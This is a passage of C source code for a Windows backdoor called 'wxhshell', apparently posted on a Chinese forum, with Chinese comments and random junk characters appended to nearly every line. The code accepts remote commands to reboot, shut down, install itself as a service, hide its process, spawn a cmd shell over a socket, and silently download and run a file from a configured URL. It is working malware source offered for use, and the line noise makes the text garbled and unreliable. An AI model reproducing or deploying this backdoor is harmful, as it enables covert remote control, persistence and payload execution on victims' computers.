  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]d0BN`*U.  
  } QL&ZjSN  
  else { -`kW&I0  
W0@n/U  
    switch(cmd[0]) { %COX7gV  
  eK?MKe  
  // 帮助 t7Iv?5]N  
  case '?': { HZC"nb}r4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x.!V^HQSN  
    break; {0wIR_dGX  
  } t;}|tgC  
  // 安装 e "4 ''/  
  case 'i': { \5:i;AE  
    if(Install()) 5h=}j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %~H-)_d20  
    else ?}tFN_X"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *=/ { HvJ  
    break; +US!YU  
    } |&+ o^  
  // 卸载 W.f/pu  
  case 'r': { 9}!qR|l3nR  
    if(Uninstall()) !*d I|k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d9f C<Tp  
    else XH4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %+W{iu[|  
    break; r1`x=r   
    } |P HT694Uz  
  // 显示 wxhshell 所在路径 f;o5=)Y  
  case 'p': { eCU:Q  
    char svExeFile[MAX_PATH]; "Y =;.:qe  
    strcpy(svExeFile,"\n\r"); _ @NL;w:!  
      strcat(svExeFile,ExeFile); kzQ+j8.,U  
        send(wsh,svExeFile,strlen(svExeFile),0); GX!G>  
    break; pHXm>gTd,J  
    } jUYWrYJ  
  // 重启 45@ I*`  
  case 'b': { SuJ aL-;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u^ +7hkk  
    if(Boot(REBOOT)) VGy<")8D/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N]Y d9tn{  
    else { ,Bi.1 %$  
    closesocket(wsh); dC3o9  
    ExitThread(0); taHJ ub  
    } vAF "n  
    break; ,F8Yn5h  
    } gZ3u=uME  
  // 关机 Xv5wJlc!d  
  case 'd': { D[[|")Fn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r"gJX  
    if(Boot(SHUTDOWN)) ^B.5GK)!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p?%y82E  
    else { c \J:![x  
    closesocket(wsh); Y1W1=Uc uk  
    ExitThread(0); K,;E5  
    } ~tS Z%q  
    break; J9--tJ?[>o  
    } G#q@v(_b  
  // 获取shell TTX5EDCrC  
  case 's': { i4Q@K,$  
    CmdShell(wsh); O'p9u@kc  
    closesocket(wsh); Uou1mZz/  
    ExitThread(0); #?aPisV X>  
    break; mUAi4N  
  } a8e6H30Sm  
  // 退出 T9E+\D  
  case 'x': { Tj` ,Z5vy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w,p PYf/t  
    CloseIt(wsh); bivuqKA  
    break; .,|G7DGH]  
    } m/@wh a  
  // 离开 k<nZ+! M  
  case 'q': { ,GhS[VJjR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,hm\   
    closesocket(wsh); YlJ@XpKM  
    WSACleanup(); lV3x*4O=  
    exit(1); e{'BAj  
    break; Fc)@,/R"v  
        } \g`\`e53?  
  } d=$Mim  
  } Z!a =dnwHz  
`!3SF|x&  
  // 提示信息 Zgp4`)}:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tt`u:ZwhF  
} #'nr Er <  
  } ;LKkbT 5  
J\} twYty  
  return; hE'-is@7  
} 4$HhP, gL=  
) yi E@ X  
// shell模块句柄 <Uk}o8E  
int CmdShell(SOCKET sock) P-9)38`5  
{ K-^\" W8  
STARTUPINFO si; q5J5>  
ZeroMemory(&si,sizeof(si)); Gt8M&S-;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,a{P4Bq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o=:9y-nH  
PROCESS_INFORMATION ProcessInfo; 7J D' )  
char cmdline[]="cmd"; ?8H8O %Z8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G/y5H;<9M  
  return 0; ]!W=^!  
} A_"w^E{P  
&)# ihK_  
// 自身启动模式 niMsQ  
int StartFromService(void) /e5O"@  
{ :[.vM  
typedef struct IEL%!RFG  
{ 6fE7W>la  
  DWORD ExitStatus; Di,^%  
  DWORD PebBaseAddress; P8OaoPj  
  DWORD AffinityMask; M~Tuj1?  
  DWORD BasePriority; f <Zxz9  
  ULONG UniqueProcessId; PV.X z0@R  
  ULONG InheritedFromUniqueProcessId; H*?t^  
}   PROCESS_BASIC_INFORMATION; Ea=8}6`s  
D=A&+6B@-  
PROCNTQSIP NtQueryInformationProcess; XAD- 'i  
wyH[x!QX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W]$w@.oW[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H `XUJh  
7y'RFD9@{  
  HANDLE             hProcess; NR$3%0 nC6  
  PROCESS_BASIC_INFORMATION pbi; W 8<&gh+  
Co9^OF-k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;>%r9pz ~  
  if(NULL == hInst ) return 0; rK 8lBy:<  
XW 2b|%T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ol\Utq,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Bj\W'V&p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "@^k)d$  
np|Sy;:  
  if (!NtQueryInformationProcess) return 0; f=+mIZ  
JMCKcZ%N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g.k"]lP  
  if(!hProcess) return 0; .r=4pQ@#  
?> 9/#Nv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rET\n(AJ  
x;O[c3I  
  CloseHandle(hProcess); M5 LfRBO  
~gJwW+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Q~#82hBhY  
if(hProcess==NULL) return 0;  C#.->\  
O#4&8>;=  
HMODULE hMod; i'<[DjMDlm  
char procName[255]; : g7@PJND  
unsigned long cbNeeded; B6+khuG(  
g\|PcoLm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R3f89  
Uk[b|<U-`d  
  CloseHandle(hProcess); "m):Y;9iQ?  
ZuzEg*lb  
if(strstr(procName,"services")) return 1; // 以服务启动 Y sC>i`n9  
,C\i^>=  
  return 0; // 注册表启动 (!u~CZ;  
} ^cC,.Fdw  
u=*FI  
// 主模块 c1(RuP:S  
int StartWxhshell(LPSTR lpCmdLine) .|KyNBn  
{ 1/B>XkCJ  
  SOCKET wsl; U7,e/?a  
BOOL val=TRUE; |w~nVRb  
  int port=0; ZoW?nxY  
  struct sockaddr_in door; G`D`Af/B  
vQG5*pR*w  
  if(wscfg.ws_autoins) Install(); @Rze| T.  
;J( 8 L  
port=atoi(lpCmdLine); 6xmZXp d!  
3lL-)<0A(  
if(port<=0) port=wscfg.ws_port; F}yW/  
](]i 'fE>  
  WSADATA data; [-1^-bb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @}u*|P*  
h%na>G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AEI>\Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oN~&_*FE  
  door.sin_family = AF_INET; T3.&R#1M8-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _IHV7*u{;  
  door.sin_port = htons(port); :1Xz4wkWS*  
>0y'Rgfe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;3coP{  
closesocket(wsl); wYXQlxdy  
return 1; :wyno#8`-  
} Vi$~-6n&  
"m$##X\  
  if(listen(wsl,2) == INVALID_SOCKET) { IZ-1c1   
closesocket(wsl); J9nX"Sb  
return 1; PCee<W_%YE  
} ' ,wFTV&  
  Wxhshell(wsl); yNJ B oar  
  WSACleanup(); gnf8 l?M  
[ZwjOi:)  
return 0; wc@X.Q[  
e`_LEv  
} &ee~p&S,>  
hp50J  
// 以NT服务方式启动 e(;,`L\*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z]y.W`i   
{ ~8Fk(E_  
DWORD   status = 0; ;\dBfP  
  DWORD   specificError = 0xfffffff; %g$o/A$  
^$jb7HMObI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {%5eMyF#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?3`UbN:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :K,i\  
  serviceStatus.dwWin32ExitCode     = 0; T@B/xAq5!  
  serviceStatus.dwServiceSpecificExitCode = 0; U[-o> W#  
  serviceStatus.dwCheckPoint       = 0; 9MJG;+B~  
  serviceStatus.dwWaitHint       = 0; 2%Ri,4SRb  
]L.O8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q'F+OQb1  
  if (hServiceStatusHandle==0) return; 3AtGy'NTp  
r.&Vw|*>  
status = GetLastError(); [#vH'y  
  if (status!=NO_ERROR) hp X9[3  
{ ZgcMv,=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R$<&ie6UQ  
    serviceStatus.dwCheckPoint       = 0; ',@3>T**  
    serviceStatus.dwWaitHint       = 0; `:KY\  
    serviceStatus.dwWin32ExitCode     = status; M#6W(|V/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7hcYD!DS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <oV(7  
    return; O"9\5(w  
  } oxA<VWUNT  
zT]8KA   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Af2( 5]  
  serviceStatus.dwCheckPoint       = 0; e{K 215  
  serviceStatus.dwWaitHint       = 0; ;7V%#-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L|7R9+ZG  
} c ( C%Hld  
C`9+6T  
// 处理NT服务事件,比如:启动、停止 '@KEi%-^>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #&aqKV Y  
{ 3z?> j]  
switch(fdwControl) B%b4v  
{ u'DRN,h+  
case SERVICE_CONTROL_STOP: E7UU  
  serviceStatus.dwWin32ExitCode = 0; sf87$S0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I3I/bofz  
  serviceStatus.dwCheckPoint   = 0; lvz7#f L~  
  serviceStatus.dwWaitHint     = 0; `iNSr?N.  
  { .@U@xRu7|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i$G@R %  
  } \V8PhO;j  
  return; xJ8M6O8  
case SERVICE_CONTROL_PAUSE: *vxk@ `K~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mxC;?s;~  
  break; zu{P#~21  
case SERVICE_CONTROL_CONTINUE: ,!y$qVg'\f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G4X|Bka  
  break; b=NxUd O  
case SERVICE_CONTROL_INTERROGATE: xs bE TP?  
  break; WPMSm<[  
}; i%]EEVmN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,T$U'&;  
} +gtbcF@rx  
'Aq{UGN  
// 标准应用程序主函数 06Sceq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '9J/T57]e  
{ ]Ie 0S~  
J @1!Oq>  
// 获取操作系统版本 )~JHgl  
OsIsNt=GetOsVer(); }rw8PZ9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E KLyma&}Y  
]MitOkX  
  // 从命令行安装 kfY}S  
  if(strpbrk(lpCmdLine,"iI")) Install(); q"8e a/  
k"zv~`i'  
  // 下载执行文件 Yk Ki|k  
if(wscfg.ws_downexe) { SsDmoEeB[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c9 _ rmz8  
  WinExec(wscfg.ws_filenam,SW_HIDE); agDM~=#F  
} *H2r@)Y[~  
@,7GaK\  
if(!OsIsNt) { k)=s>&hl  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,Uqs1#r  
HideProc(); joAv{Tc  
StartWxhshell(lpCmdLine); f+)L#>Gl?  
} C1n>M}b  
else 04P}-L,  
  if(StartFromService()) ,j_i?Ff  
  // 以服务方式启动 !``,gExH  
  StartServiceCtrlDispatcher(DispatchTable); u^I|T.w<r6  
else j-}O0~Jz  
  // 普通方式启动 <^jQo<kU  
  StartWxhshell(lpCmdLine); '4Bm;&6M  
0-Ku7<a  
return 0; O;jrCB  
}
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只看该作者 1 发表于: 2006-10-10
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